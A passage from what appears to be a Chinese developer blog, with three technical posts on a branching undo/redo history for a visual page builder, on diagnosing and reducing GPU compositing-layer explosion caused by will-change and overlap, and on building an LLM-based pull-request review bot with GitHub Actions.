在搭建场景下这很要命——设计师经常想"回到刚才那个分支看看效果"。所以我们需要把线性栈升级成树:

interface HistoryNode {
  id: string
  command: Command
  parent: string | null
  children: string[]       // 一个节点可以有多个子节点 → 分支
  snapshot?: CanvasSnapshot // 关键帧快照,不是每个节点都有
  timestamp: number
}

class HistoryTree {
  private nodes = new Map<string, HistoryNode>()
  private currentId: string  // 当前指针位置
  private rootId: string

  execute(cmd: Command) {
    cmd.execute()
    const node: HistoryNode = {
      id: crypto.randomUUID(),
      command: cmd,
      parent: this.currentId,
      children: [],
      timestamp: Date.now()
    }

    // 新节点挂到当前节点下面,不清除其他分支
    this.nodes.get(this.currentId)!.children.push(node.id)
    this.nodes.set(node.id, node)
    this.currentId = node.id

    // 每 N 步打一个快照(关键帧策略)
    if (this.shouldSnapshot()) {
      node.snapshot = this.captureSnapshot()
    }
  }

  // 撤销:沿着 parent 往上走
  undo() {
    const current = this.nodes.get(this.currentId)!
    if (!current.parent) return
    current.command.undo()
    this.currentId = current.parent
  }

  // 跳转到任意历史节点——这是树结构的杀手级能力
  jumpTo(targetId: string) {
    const path = this.findPath(this.currentId, targetId)
    // 先撤销到公共祖先,再重做到目标
    for (const nodeId of path.undoPath) {
      this.nodes.get(nodeId)!.command.undo()
    }
    for (const nodeId of path.redoPath) {
      this.nodes.get(nodeId)!.command.execute()
    }
    this.currentId = targetId
  }
}

关键帧快照:内存和性能的平衡点

每步都存快照?

每步都不存快照?跳转到 500 步前,要从根节点回放 500 个 Command,用户等 3 秒——他以为页面卡死了。

所以用关键帧策略,像视频编码一样:

class SnapshotStrategy {
  private interval = 20  // 每 20 步打一个快照

  shouldSnapshot(stepCount: number): boolean {
    return stepCount % this.interval === 0
  }

  // 跳转时:找最近的快照 → 从快照恢复 → 回放剩余 Command
  restore(tree: HistoryTree, targetId: string) {
    const path = tree.getPathFromRoot(targetId)

    // 从目标往上找最近的快照节点
    let snapshotNode: HistoryNode | null = null
    for (let i = path.length - 1; i >= 0; i--) {
      if (path[i].snapshot) {
        snapshotNode = path[i]
        break
      }
    }

    if (snapshotNode) {
      // 从快照恢复(O(1)),再回放后面几步(最多 19 步)
      canvas.restore(snapshotNode.snapshot!)
      const remaining = path.slice(path.indexOf(snapshotNode) + 1)
      remaining.forEach(n => n.command.execute())
    } else {
      // 没快照兜底,只能从头回放
      path.forEach(n => n.command.execute())
    }
  }
}

最多回放 19 步,可以接受。快照间隔可以根据操作复杂度动态调整——简单属性修改间隔大一些,组件增删间隔小一些。


第三层:Immutable 数据结构让快照不再昂贵

"200KB 一个快照还是太大了"——如果每个快照都是完整深拷贝的话,确实。

但如果用 Immutable 数据结构(结构共享),两个相邻快照之间只有被修改的节点是新的,其他都是引用:

// 用 Immer 实现结构共享的快照
import { produce, enablePatches, Patch } from 'immer'

enablePatches()

class ImmutableCanvasState {
  private current: CanvasData  // 不可变状态树

  applyCommand(cmd: Command): { patches: Patch[], inversePatches: Patch[] } {
    let patches: Patch[] = []
    let inversePatches: Patch[] = []

    // produce 返回新状态,只有被改的部分是新对象
    // 没改的子树共享引用 → 内存占用极小
    this.current = produce(this.current, draft => {
      cmd.applyTo(draft)
    }, (p, ip) => {
      patches = p
      inversePatches = ip
    })

    return { patches, inversePatches }
  }
}

// 现在 Command 可以用 patch 实现撤销,不用手写逆操作了
class PatchCommand implements Command {
  id = crypto.randomUUID()
  type: string

  constructor(
    private state: ImmutableCanvasState,
    private patches: Patch[],
    private inversePatches: Patch[]
  ) {
    this.type = patches[0]?.path?.[0]?.toString() ?? 'unknown'
  }

  execute() {
    this.state.applyPatches(this.patches)
  }

  undo() {
    // 逆向 patch,不需要手写 undo 逻辑
    // 这是 Immer 给我们的最大红利
    this.state.applyPatches(this.inversePatches)
  }
}

用 Immer 的 patches 后,Command 的 undo 不用手写了。之前每种操作都要实现 undo(),移动组件要记原位置、删除组件要保留完整数据、修改样式要存旧值……现在 Immer 自动生成逆向 patch,省了大量代码。

结构共享让快照也便宜了。两个相邻快照实际共享 90%+ 的内存,200KB 的状态树改一个属性,增量只有几十字节。


第四层:协同场景下的冲突处理

单人撤销搞定了,两个人同时编辑怎么办?

核心矛盾:A 撤销了自己的操作,但 B 的后续操作可能依赖 A 的那步操作

比如 A 创建了一个按钮,B 给这个按钮改了颜色。A 撤销创建——按钮没了,B 的颜色修改指向了一个不存在的组件。

OT(Operational Transformation)思路

interface CollabCommand extends Command {
  userId: string
  vectorClock: Record<string, number>  // 逻辑时钟,判断因果关系
  transform(against: CollabCommand): CollabCommand | null
}

class CollabHistoryManager {
  // 撤销时:不是简单 undo,而是生成一个"补偿操作"
  undoForUser(userId: string) {
    const lastCmd = this.findLastCommandByUser(userId)
    if (!lastCmd) return

    // 收集 lastCmd 之后所有其他用户的操作
    const subsequent = this.getSubsequentCommands(lastCmd)

    // 生成补偿命令,考虑后续操作的影响
    let compensation = lastCmd.createInverse()
    for (const cmd of subsequent) {
      // 变换补偿操作,使其在当前状态下仍然正确
      compensation = compensation.transform(cmd)
      if (!compensation) {
        // transform 返回 null → 操作已被覆盖,撤销无意义
        console.warn('操作已被其他用户覆盖,无法撤销')
        return
      }
    }

    this.execute(compensation) // 以新操作的形式执行补偿
  }
}

冲突检测与解决策略

type ConflictStrategy = 'last-write-wins' | 'manual-merge' | 'auto-rebase'

class ConflictResolver {
  detect(cmdA: CollabCommand, cmdB: CollabCommand): boolean {
    // 两个操作改了同一个组件的同一个属性 → 冲突
    return cmdA.targetId === cmdB.targetId
      && cmdA.propertyPath === cmdB.propertyPath
      && !this.isCausallyOrdered(cmdA, cmdB)  // 有因果关系的不算冲突
  }

  resolve(cmdA: CollabCommand, cmdB: CollabCommand, strategy: ConflictStrategy) {
    switch (strategy) {
      case 'last-write-wins':
        // 简单粗暴,时间戳大的赢
        return cmdA.timestamp > cmdB.timestamp ? cmdA : cmdB

      case 'auto-rebase':
        // 类似 git rebase:把一方的操作变基到另一方之后
        return cmdA.transform(cmdB)

      case 'manual-merge':
        // 弹个 diff 界面让用户选——这不是 bug,这是特性
        return { type: 'need-user-decision', options: [cmdA, cmdB] }
    }
  }
}

实际项目中,我们对不同操作类型用不同策略:

  • 位置/尺寸修改:last-write-wins,谁最后拖的算谁的
  • 组件增删:auto-rebase,自动变换
  • 业务逻辑配置:manual-merge,让用户决定

设计权衡:为什么不用纯快照 / 为什么不用纯 Command?

纯快照方案的问题

内存是一方面,更关键的是丢失了语义。快照只知道"状态从 A 变成了 B",不知道用户做了什么操作。在协同场景下,没有操作语义就无法做 OT 变换,冲突解决变成了状态 diff——复杂度直接起飞。

纯 Command 方案的问题

逆操作不好写是一方面,更关键的是状态漂移

混合方案的成本

维护两套数据(Command + Snapshot)确实增加了复杂度。序列化、存储、同步都要考虑两种格式。但对搭建引擎这个量级的产品,这个成本是值得的。


边界与踩坑

1. 异步操作的撤销

用户上传了一张图片(异步),还没传完就按了撤销。你是取消上传?还是等上传完再删?我们的做法是:异步操作拆成两个 Command——StartUploadCompleteUpload,撤销 CompleteUpload 就是删图,撤销 StartUpload 就是取消上传。

2. 历史树的修剪

用户操作 10000 步,历史树不能无限增长。修剪策略:

class TreePruner {
  prune(tree: HistoryTree, maxNodes = 500) {
    // 只保留:当前分支 + 最近 3 个分支点 + 所有带快照的节点
    const keepSet = new Set<string>()

    // 1. 当前分支必须保留
    this.markBranch(tree.currentId, keepSet)

    // 2. 最近的分支节点保留(用户可能想切回去)
    const branchPoints = this.findRecentBranchPoints(tree, 3)
    branchPoints.forEach(id => this.markBranch(id, keepSet))

    // 3. 删掉其他的,但保留快照节点作为"存档点"
    for (const [id, node] of tree.nodes) {
      if (!keepSet.has(id) && !node.snapshot) {
        tree.removeNode(id)
      }
    }
  }
}

3. 批量操作的原子性

用户框选 20 个组件一起拖动,这是 1 个操作还是 20 个?必须是 1 个。用 CompoundCommand 包装:

class CompoundCommand implements Command {
  id = crypto.randomUUID()
  type = 'compound'

  constructor(private commands: Command[]) {}

  execute() {
    this.commands.forEach(cmd => cmd.execute())
  }

  undo() {
    // 逆序撤销,这里搞反了就等着收 bug
    ;[...this.commands].reverse().forEach(cmd => cmd.undo())
  }
}

可扩展性

这套架构可以自然延伸出几个能力:

  • 操作回放:把 Command 序列存下来,可以做操作录像、用户行为分析
  • 时间旅行调试:搭配 UI 做一个时间轴滑块,随意跳转到任意历史节点
  • 版本管理:在快照节点上打标签,变成类似 git tag 的能力
  • 插件化:Command 注册机制可以做成插件,第三方组件自带撤销逻辑

如果要做成 SaaS 产品,Command 日志天然就是审计日志,快照天然就是版本存档。这不是额外开发,是架构自带的。


总结:这类问题的通用模型

撤销重做本质上是一个状态时间线管理问题,它和数据库的 WAL(Write-Ahead Logging)、git 的版本管理、事件溯源(Event Sourcing)是同一类问题。

核心抽象就三件事:

  1. 操作日志(Command / Event)——记录"发生了什么"
  2. 状态快照(Snapshot / Checkpoint)——记录"某一刻长什么样"
  3. 冲突解决(OT / CRDT)——多条时间线如何合并

下次再遇到类似的问题。不管是富文本编辑器的撤销、表单的草稿恢复、还是游戏的存档系统——都可以用这个模型去套。先想清楚"记动作还是记状态",再决定两者怎么配合,最后处理并发冲突。

架构不复杂,但每一层都有坑。希望这篇能帮你少踩几个。

GPU 合成层炸了,页面白屏——从 will-change 滥用聊到层爆炸的治理

2026年3月13日 10:13

GPU 合成层炸了,页面白屏——从 will-change 滥用聊到层爆炸的治理

上个月接手一个项目,列表页在低端安卓机上打开直接白屏。Chrome DevTools 的 Layers 面板一开,绿色块铺满屏幕,合成层数量:1400+。罪魁祸首长这样:

/* 某个"性能优化高手"留下的遗产 */
.card {
  will-change: transform;
}
.card-title {
  will-change: opacity;
}
.card-img {
  will-change: transform;
}
.card-btn {
  will-change: transform, opacity;
}
/* 一个卡片组件,四个元素全部提升为合成层 */
/* 列表页一次渲染 200 张卡片 → 800 个合成层 */
/* 恭喜,GPU 内存直接起飞 */

四个元素,每个都挂着 will-change,乘以 200 张卡片就是 800 个合成层。

隐式合成——先讲这个,因为它才是大头

多数层爆炸的文章把隐式合成放在后面讲,但实际项目里它才是最大的杀伤来源。那个 1400 层的项目,800 个是 will-change 造成的,剩下 600 多个全是隐式合成的产物。

规则本身一句话就说清楚:**一个普通元素如果在 z 轴方向上叠在合成层上方,浏览器为了保证绘制顺序,会把它也强制提升为合成层。

也就是说你只要在一个列表底部放一个带动画的背景元素,上面的所有列表项都会被"传染"。你写了一行 CSS,浏览器帮你创建了几百个合成层。这就是为什么治理层爆炸的第一步不是删 will-change,而是先查 overlap——它的数量往往比你主动创建的层多得多。

合成层的代价:一笔显存账

浏览器渲染管线的最后一步是 Composite(合成),在这一步之前的 DOM 解析、样式计算、布局、绘制全在 CPU 上整完,只有合成阶段交给 GPU。被单独提取出来交给 GPU 处理的元素就是合成层。

正常页面的合成层很少——根层、fixed 导航栏、正在跑动画的元素,加起来可能不到 10 个。GPU 把这几层按顺序叠起来,开销可以忽略。但每个合成层都要在 GPU 显存里分配一块位图缓存,大小 = 宽 × 高 × 4 字节(RGBA)。算一下 1400 个层是什么概念:

// 简单算笔账
const avgWidth = 300
const avgHeight = 150
const bytesPerPixel = 4 // RGBA
const layerCount = 1400

const totalMemory = avgWidth * avgHeight * bytesPerPixel * layerCount
console.log(`${(totalMemory / 1024 / 1024).toFixed(0)} MB`)
// → 240 MB
// 低端安卓机总共就 512MB GPU 内存,直接 GG

240MB,还没算纹理上传和上下文切换的开销。低端安卓机的 GPU 内存可能只有 512MB,被一个网页吃掉一半,系统选择自保——直接杀掉渲染进程,用户看到的就是白屏。

will-change 只该在动画前一刻加上

will-change 的设计意图是提前一帧通知浏览器"这个元素即将发生变化",让浏览器有时间创建合成层、分配纹理,避免动画首帧卡顿。它是一个时序控制工具,不是性能开关。

/* ✅ 正确用法:hover 时才告诉浏览器"我要动了" */
.card {
  transition: transform 0.3s;
}
.card:hover {
  will-change: transform;
}

/* ❌ 错误用法:写在默认样式里,页面一加载就提升 */
/* 相当于跟浏览器说"我随时可能动"——然后一辈子没动过 */
.card {
  will-change: transform;
}

写在默认样式里的 will-change 等于把"马上"变成了"永远"。合成层创建了就不会释放,显存占了就不会还。更离谱的是有人把它当成 translateZ(0) 的替代品——以前用 translate3d(0,0,0) hack GPU 加速,后来发现 will-change 也能触发层提升,就当成了新一代 hack。工具用错了场景,优化就变成了负担。

触发层提升的完整清单

不只是 will-change 会创建合成层,以下条件都会触发:

3D 变换的(translate3d, rotate3d...)
有 will-change: transform/opacity/filter 的
有 position: fixed 的
有 CSS 动画或过渡正在运行的(仅限 transform/opacity)
有 <video>、<canvas>、<iframe> 的
有 CSS filter 的
有 backdrop-filter 的
有 mix-blend-mode 的(不是 normal)
有 clip-path 动画的
有 mask 的(某些情况)

这里面 backdrop-filtermix-blend-mode 是最容易被忽略的两个。设计稿里一个毛玻璃卡片看着好看,backdrop-filter: blur(10px) 一加,每张卡片就多一个合成层。200 张卡片,200 个合成层,设计评审时没人会想到这一层。

实操:用 Chrome Layers 面板做层治理

怎么打开 Layers 面板

DevTools → Ctrl+Shift+P → 输入 "layers" → 回车。面板打开后是一个 3D 视图,页面的合成层像切片面包一样展开。正常页面 5-10 片,看到几百片密密麻麻堆在一起就说明出问题了。

第一步:按内存排序,看提升原因

面板右侧列出了所有合成层的大小、内存占用和提升原因(compositing reason)。先按内存排序找到最大的几个,再看提升原因这一栏:

// 打开 Layers 面板后右侧每个层的 "Compositing Reasons" 字段
// 常见的几种:

"willChange"            // 你主动写了 will-change → 你的锅
"transform3D"           // 用了 translate3d/rotate3d → 大概率也是你的锅
"overlap"               // 隐式合成!被别的合成层"传染"的 → 重点排查对象
"activeAnimation"       // 正在跑动画 → 可能合理,看动画结束后是否回收
"backdropFilter"        // 毛玻璃效果 → 确认是否真的需要
"video"                 // <video> 元素 → 正常,别管
"iFrame"                // <iframe> → 正常
"positionFixed"         // fixed 定位 → 正常,但数量要控制

overlap 数量多就说明层级结构有问题,这是排查的第一优先级。

第二步:用决策树判断每个层该不该留

这是我在项目里反复用的排查路径:

这个元素需要合成层吗?
│
├─ 它有正在运行的 transform/opacity 动画?
│   ├─ 是 → 保留,动画结束后确认层是否回收
│   └─ 否 → 往下
│
├─ 它用了 will-change?
│   ├─ 是 → 这个 will-change 是动态加的还是写死在样式里的?
│   │   ├─ 写死的 → 99% 该删掉
│   │   └─ 动态的(hover/交互时加,结束后移除)→ 保留
│   └─ 否 → 往下
│
├─ 它的提升原因是 overlap?
│   ├─ 是 → 找到"传染源",调整 z-index 或 DOM 顺序
│   └─ 否 → 往下
│
├─ 它是 fixed/video/canvas/iframe?
│   ├─ 是 → 正常,确认数量可控
│   └─ 否 → 检查是否有 filter/backdrop-filter/mix-blend-mode
│       ├─ 有 → 评估是否可以去掉或限制范围
│       └─ 没有 → 那它为什么被提升了?再看看 compositing reason

第三步:治 overlap

overlap 是层爆炸的主要来源,治理思路就是调整层叠顺序——让合成层位于 z 轴最顶端,它上面没有普通元素,自然就不会触发隐式提升。

<!-- 场景还原:一个绝对定位的动画元素,盖在列表下面 -->
<div class="container">
  <!-- 这个有动画,被提升为合成层 -->
  <div class="animated-bg" style="
    position: absolute;
    z-index: 1;
    animation: pulse 2s infinite;
  "></div>

  <!-- 列表项 z-index 比 animated-bg 高 → 全部被隐式提升 -->
  <div class="list" style="position: relative; z-index: 2;">
    <div class="item">1</div>  <!-- overlap → 合成层 -->
    <div class="item">2</div>  <!-- overlap → 合成层 -->
    <div class="item">3</div>  <!-- overlap → 合成层 -->
    <!-- ...200 个 item,200 个合成层 -->
  </div>
</div>

把动画元素的 z-index 调到列表上方,问题就消失了:

<div class="container">
  <div class="list" style="position: relative; z-index: 1;">
    <div class="item">1</div>  <!-- 普通层,不提升 -->
    <div class="item">2</div>  <!-- 普通层 -->
    <div class="item">3</div>  <!-- 普通层 -->
  </div>

  <!-- 动画元素放在上面,z-index 更高 -->
  <!-- 它是合成层没问题,但它上面没有别的元素了,不会传染 -->
  <div class="animated-bg" style="
    position: absolute;
    z-index: 2;
    animation: pulse 2s infinite;
    pointer-events: none;
  "></div>
</div>

200 个隐式合成层,改两行代码就没了。实际项目中,我碰到过更隐蔽的情况:一个第三方轮播组件内部用了 translate3d,层级又低于页面内容区域,导致整个页面主体被隐式提升。排查花了半天,修复只花了一分钟——给那个组件的容器加一个足够高的 z-index。所以 overlap 问题的难点从来不在修,在于找到那个"传染源"。

第四步:管好 will-change 的生命周期

will-change 应该像开关一样用——需要时打开,用完就关。

// ✅ 用 JS 管理 will-change 的生命周期
const card = document.querySelector('.card')

card.addEventListener('mouseenter', () => {
  card.style.willChange = 'transform' // 鼠标进来,告诉浏览器"我要动了"
})

card.addEventListener('transitionend', () => {
  card.style.willChange = 'auto' // 动画结束,释放合成层
})

// Vue/React 里同理
// ❌ <div :style="{ willChange: 'transform' }">  永远挂着
// ✅ <div :style="{ willChange: isHover ? 'transform' : 'auto' }">

说实话,大多数场景根本不需要手动加 will-change。现代浏览器在检测到 transitionanimation 声明时会自动做层提升。will-change 真正有价值的场景只有一个:动画首帧出现明显卡顿——因为层提升本身需要时间,提前声明可以把这个开销从动画第一帧挪到之前的空闲时段。如果你的动画没有首帧卡顿问题,删掉 will-change 不会有任何区别。

第五步:加个自动化卡点,防止回退

修完一轮,下个迭代又有人加 backdrop-filter 炸了——这事我经历过两次。所以层治理必须有持续的监控手段:

// 写个简单的合成层数量监控(仅开发环境)
// Chrome 没有直接的 API 拿合成层数量,但可以用 Performance API 间接监控

function checkLayerHealth() {
  // 方法一:用 Performance 面板的 rendering 指标
  // 开启 DevTools → Rendering → Layer borders
  // 绿色边框 = 合成层,肉眼扫一下

  // 方法二:写个 CI 脚本用 Puppeteer 抓
  // page.tracing 可以拿到 cc::LayerTreeHost 的数据
  const puppeteer = require('puppeteer')

  async function auditLayers(url) {
    const browser = await puppeteer.launch()
    const page = await browser.newPage()

    // 开启 tracing,收集合成信息
    await page.tracing.start({ categories: ['cc', 'viz'] })
    await page.goto(url, { waitUntil: 'networkidle0' })
    const trace = JSON.parse(
      (await page.tracing.stop()).toString()
    )

    // 在 trace 事件里找 PictureLayer 相关的数据
    const layerEvents = trace.traceEvents.filter(
      e => e.name === 'cc::LayerTreeHost::FinishCommitOnImplThread'
    )

    // 拿最后一帧的层数量
    const lastFrame = layerEvents[layerEvents.length - 1]
    const layerCount = lastFrame?.args?.numLayers ?? 'N/A'

    console.log(`合成层数量: ${layerCount}`)
    if (layerCount > 50) {
      console.warn('⚠️ 合成层数量超过 50,建议排查')
    }

    await browser.close()
  }
}

阈值参考:移动端 30 个以上就该看看,PC 端 50 个以内一般没事,超过 100 个基本都有问题。把这个脚本挂到 CI 的 Lighthouse 阶段,设成 warning 而不是 error——因为合成层数量和页面复杂度有关,硬卡阈值会产生误报,但趋势上涨一定值得关注。

那个项目最后怎么样了

1400 多个合成层,最后治到 23 个。做了三件事:

  • 删掉所有写死的 will-change(干掉了 600 多个层)
  • 修了两处 z-index 导致的 overlap 传染(干掉了 700 多个层)
  • backdrop-filter 限制在视口内可见的元素上,滚出去的用 IntersectionObserver 动态移除(干掉了几十个)

低端机从白屏变成流畅滚动,帧率从 8fps 到 55fps。


层爆炸的本质是资源分配失控——你以为在优化,其实在给 GPU 堆负担。不测量就优化,跟闭着眼睛调参数没区别。花三分钟打开 Layers 面板看一眼你的页面有多少个合成层,比读十篇性能优化的文章都管用。

给 PR 接一个 LLM 自动 Review:GitHub Actions 落地踩坑全记录

2026年3月12日 08:42

给 PR 接一个 LLM 自动 Review:GitHub Actions 落地踩坑全记录

你提了个 PR。

团队仨 reviewer,一个开会,一个休假,一个已读不回。干等两天,review 回来了——"这个变量名改一下"。

逻辑漏洞?没人看。SQL 注入?想多了。

不是 reviewer 水平不行,是逐行扫 diff 这事本身就反人类。人脑带宽就那么大。

那让大模型干?

要解决的问题

把 LLM 塞进 CI 跑 Code Review,想法挺美。坑也挺多:

  • PR diff 几千行,token 塞不下
  • 模型幻觉一顿误报,reviewer 被"狼来了"搞麻了
  • 怎么只审增量,不是整个仓库
  • 安全检测和重构建议的 prompt 能不能共用一套

这不是调个 API 的事。是信息压缩 + prompt 工程 + CI 编排一套组合拳。

架构长这样

PR 创建/更新
    ↓
GitHub Actions 触发
    ↓
┌─────────────────────────┐
│  1. 拉取增量 diff        │
│  2. 按文件分片           │
│  3. 构造 prompt          │
│  4. 并发调 LLM           │
│  5. 聚合 + 去重 + 过滤   │
│  6. 写回 PR Review 评论  │
└─────────────────────────┘

六步,每一步都有坑。

拿增量 Diff

GitHub API 能直接拿 PR 的变更文件列表。别用 REST API 的 diff 接口——返回纯文本 unified diff,解析起来一言难尽。

// 拿 PR 变更文件列表
const { data: files } = await octokit.pulls.listFiles({
  owner: 'your-org',
  repo: 'your-repo',
  pull_number: prNumber,
  per_page: 100, // 超过 100 个文件要分页
})

// file 对象结构:
// {
//   filename: 'src/auth/login.ts',
//   status: 'modified',        // added | modified | removed | renamed
//   patch: '@@ -10,6 +10,8 @@\n ...',  // unified diff 片段
//   additions: 12,
//   deletions: 3,
// }

// 只管有实际代码变更的文件,lock 文件和构建产物跳过
const reviewable = files.filter(f =>
  f.status !== 'removed' &&
  !f.filename.match(/\.(lock|min\.js|map|snap)$/) &&
  !f.filename.startsWith('dist/')
)

patch 字段就是增量 diff。不用 clone 仓库,不用跑 git diff

不过 patch 有大小限制。超大文件 GitHub 会截断,得 fallback 到 git diff

分片——Token 是硬约束

一个 PR 改了 30 个文件,全拼一起扔给模型?

爆了。

就算没爆,上下文太长模型也会走神——long context 中间段落注意力衰减,"lost in the middle",这个问题挺多论文聊过。

interface DiffChunk {
  filename: string
  patch: string
  language: string
  tokenEstimate: number
}

function splitIntoChunks(files: DiffChunk[], maxTokens = 3000): DiffChunk[][] {
  const chunks: DiffChunk[][] = []
  let current: DiffChunk[] = []
  let currentTokens = 0

  for (const file of files) {
    // 单文件就超限 → 独占一个 chunk
    if (file.tokenEstimate > maxTokens) {
      chunks.push([file])
      continue
    }

    if (currentTokens + file.tokenEstimate > maxTokens) {
      chunks.push(current)  // 满了,切一刀
      current = [file]
      currentTokens = file.tokenEstimate
    } else {
      current.push(file)
      currentTokens += file.tokenEstimate
    }
  }

  if (current.length) chunks.push(current)
  return chunks
}

3000 token 一个 chunk。留 1000 给 system prompt,留 1000 给输出,加起来在 Claude/GPT-4 甜区里。不是拍脑袋定的——调过几轮才稳定在这个数。

太大的文件?按函数级别再切。用 AST?太重。正则按 function/class 关键字切就够了,Code Review 不需要编译级精度。

Prompt 工程——整条链路最值得花时间的地方

垃圾 prompt 进去,垃圾 review 出来。

别写"请帮我 review 这段代码"。太泛。模型会吐一堆"建议添加注释""变量命名可以更清晰"——正确的废话。

const SYSTEM_PROMPT = `你是一个资深代码审查员。只关注以下三类问题:

1. **Bug 风险**:空指针、竞态、边界溢出、类型不安全
2. **安全漏洞**:注入(SQL/XSS/命令)、敏感信息泄露、权限校验缺失
3. **可维护性硬伤**:重复代码超过 10 行、圈复杂度过高、接口设计不合理

不要提出以下建议(这些是 linter 的活):
- 命名风格
- 缺少注释
- import 顺序
- 格式问题

输出格式:
\`\`\`json
[{
  "file": "文件路径",
  "line": 行号,
  "severity": "error" | "warning" | "info",
  "category": "bug" | "security" | "maintainability",
  "message": "一句话说明问题",
  "suggestion": "修复代码(可选)"
}]
\`\`\`

如果没有发现问题,返回空数组 []。
不要编造问题。宁可漏报,不要误报。`

三个设计决策:

一,明确告诉模型"别管什么"。 比告诉它"要管什么"管用。不写这条,一半输出都是 lint 噪音。

二,强制 JSON。 下游要解析、要写 GitHub 评论、要按行定位。自由文本没法自动化。

三,"宁可漏报,不要误报"。 这句是整个 prompt 里最值钱的。大模型天然倾向于多说,你不压它,每个 any 类型都给你标 error。reviewer 三天就关了这 bot。

并发调用 + 去重

片分好了,prompt 也有了,开始调 API。

async function reviewChunks(chunks: DiffChunk[][]): Promise<ReviewComment[]> {
  // 并发但限流,别把 rate limit 打爆
  const limiter = new Bottleneck({ maxConcurrent: 3, minTime: 500 })

  const results = await Promise.all(
    chunks.map(chunk =>
      limiter.schedule(() => callLLM(chunk))
    )
  )

  return dedup(results.flat())
}

function dedup(comments: ReviewComment[]): ReviewComment[] {
  const seen = new Set<string>()
  return comments.filter(c => {
    const key = `${c.file}:${c.line}:${c.category}`
    if (seen.has(key)) return false
    seen.add(key)
    return true
  })
}

3 个并发,500ms 间隔。这个数是踩了几次 Claude API rate limit 之后调出来的。

去重拿 file + line + category 当 key,同行同类问题只留一条。

写回 PR

GitHub PR Review API 有两种评论模式:单条(createReviewComment)和整体(createReview)。

用整体。一次提交不会疯狂刷通知。

async function postReview(prNumber: number, comments: ReviewComment[]) {
  if (comments.length === 0) {
    await octokit.pulls.createReview({
      owner, repo, pull_number: prNumber,
      event: 'APPROVE',
      body: '🤖 LLM Review: 未发现明显问题。',
    })
    return
  }

  await octokit.pulls.createReview({
    owner, repo, pull_number: prNumber,
    event: 'COMMENT',  // 别用 REQUEST_CHANGES
    body: `🤖 发现 ${comments.length} 个潜在问题`,
    comments: comments.map(c => ({
      path: c.file,
      line: c.line,
      body: formatComment(c),
    })),
  })
}

COMMENT 不用 REQUEST_CHANGES

这点很关键。LLM 判断不是 100% 准,REQUEST_CHANGES 会卡 merge 流程。bot 的定位是辅助,不是守门人。搞反了团队会恨死你。

Actions Workflow

name: LLM Code Review
on:
  pull_request:
    types: [opened, synchronize]  # 新 PR 和新 push 都触发

jobs:
  review:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
      contents: read

    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0  # 完整历史,不然 diff 算不了

      - uses: actions/setup-node@v4
        with:
          node-version: 20

      - run: npm ci

      - name: Run LLM Review
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
        run: node dist/review.js ${{ github.event.pull_request.number }}

fetch-depth: 0 容易漏。不写就是 shallow clone,diff 跑不了。

安全审计单独跑一轮

通用 review 和安全检测别混。

const SECURITY_PROMPT = `你是安全审计专家。只检查以下问题:

1. SQL 注入:字符串拼接 SQL?用了参数化查询没?
2. XSS:用户输入直接插 DOM?转义了没?
3. 命令注入:exec/spawn 拼了用户输入?
4. 敏感信息泄露:hardcoded secret/密码/API key?
5. 路径遍历:文件操作校验路径了没?
6. SSRF:用户可控的 URL 请求?

只报 80% 以上把握的问题。
JSON 格式输出,category 固定 "security"。`

为什么分开?

安全检测需要不一样的"人格"。通用 review 要克制,安全审计要敏感,两种倾向塞一个 prompt 会互相打架。另外安全问题 severity 要统一拉高,后面过滤逻辑也不同。

几个绕不开的设计取舍

Fine-tune?不搞。

Fine-tune 要大量标注好的 Code Review 数据。哪来?开源项目的 review 评论质量参差不齐,跟你的业务风格也对不上。Prompt engineering 加通用大模型,性价比高得多。模型升级你直接受益,fine-tune 了旧模型,新版出来得重新训。

AST 做精确分片?不搞。

AST 依赖语言。仓库里 TypeScript、Python、Go、YAML 都有——每种配一个 parser?维护成本扛不住。文本级按 token 分片粗糙是粗糙,但够用。

成本算一下。

中等 PR,改 15 个文件,diff 约 500 行。5 个 chunk,每个约 3000 token 输入 + 500 输出。再加一轮安全审计。拿 Claude Sonnet 算:

通用 review:5 × (3000 × $0.003 + 500 × $0.015) = $0.082
安全审计:  5 × (3000 × $0.003 + 500 × $0.015) = $0.082
总计:约 $0.16 / PR

一天 20 个 PR,一个月 $96。

PR 经常几千行的话……要么拆 PR,要么认命花钱。

误报怎么压

三层:

  1. Prompt 层——"宁漏勿错"写死在指令里
  2. 置信度层——模型输出 confidence 字段,低于 0.7 直接丢
  3. 规则层——已知误报 pattern 加白名单,比如 test 文件里的 eval

调好之后误报率能压到 15% 以下。不完美,但比裸奔强。

做成可插拔的

别把逻辑全糊在一个脚本里。

// 审查管道,每一步可替换
interface ReviewPlugin {
  name: string
  prompt: string
  filter?: (files: DiffChunk[]) => DiffChunk[]
  postProcess?: (comments: ReviewComment[]) => ReviewComment[]
}

const plugins: ReviewPlugin[] = [
  {
    name: 'general',
    prompt: GENERAL_PROMPT,
  },
  {
    name: 'security',
    prompt: SECURITY_PROMPT,
    filter: files => files.filter(f => !f.filename.includes('__test__')),
  },
  {
    name: 'sql-review',
    prompt: SQL_PROMPT,
    filter: files => files.filter(f => f.language === 'sql' || f.patch.includes('query')),
  },
]

async function runPipeline(files: DiffChunk[]): Promise<ReviewComment[]> {
  const allComments = await Promise.all(
    plugins.map(async plugin => {
      const target = plugin.filter ? plugin.filter(files) : files
      if (target.length === 0) return []
      const chunks = splitIntoChunks(target)
      const raw = await reviewChunks(chunks, plugin.prompt)
      return plugin.postProcess ? plugin.postProcess(raw) : raw
    })
  )
  return dedup(allComments.flat())
}

要加个"国际化检测"?写个 plugin 就行,不碰主流程。中间件式的管道架构,各管各的。

踩坑

行号对不上。

diff 里的行号是 hunk 偏移量,不是文件绝对行号。得自己算映射。

// @@ -10,6 +10,8 @@ 意思:
// 旧文件第 10 行起 6 行 → 新文件第 10 行起 8 行
// 评论要用新文件行号(+侧)
function parsePatchLineMap(patch: string): Map<number, number> {
  const map = new Map<number, number>()
  let newLine = 0

  for (const line of patch.split('\n')) {
    const hunkMatch = line.match(/^@@ .+\+(\d+)/)
    if (hunkMatch) {
      newLine = parseInt(hunkMatch[1])
      continue
    }
    if (line.startsWith('+') || line.startsWith(' ')) {
      map.set(newLine, newLine)
      newLine++
    }
    // '-' 开头是删除行,不占新文件行号
  }
  return map
}

GitHub API 的 line 只接受 diff 里存在的行。 模型报了个不在 diff 范围的行号?422。写回之前得校验。

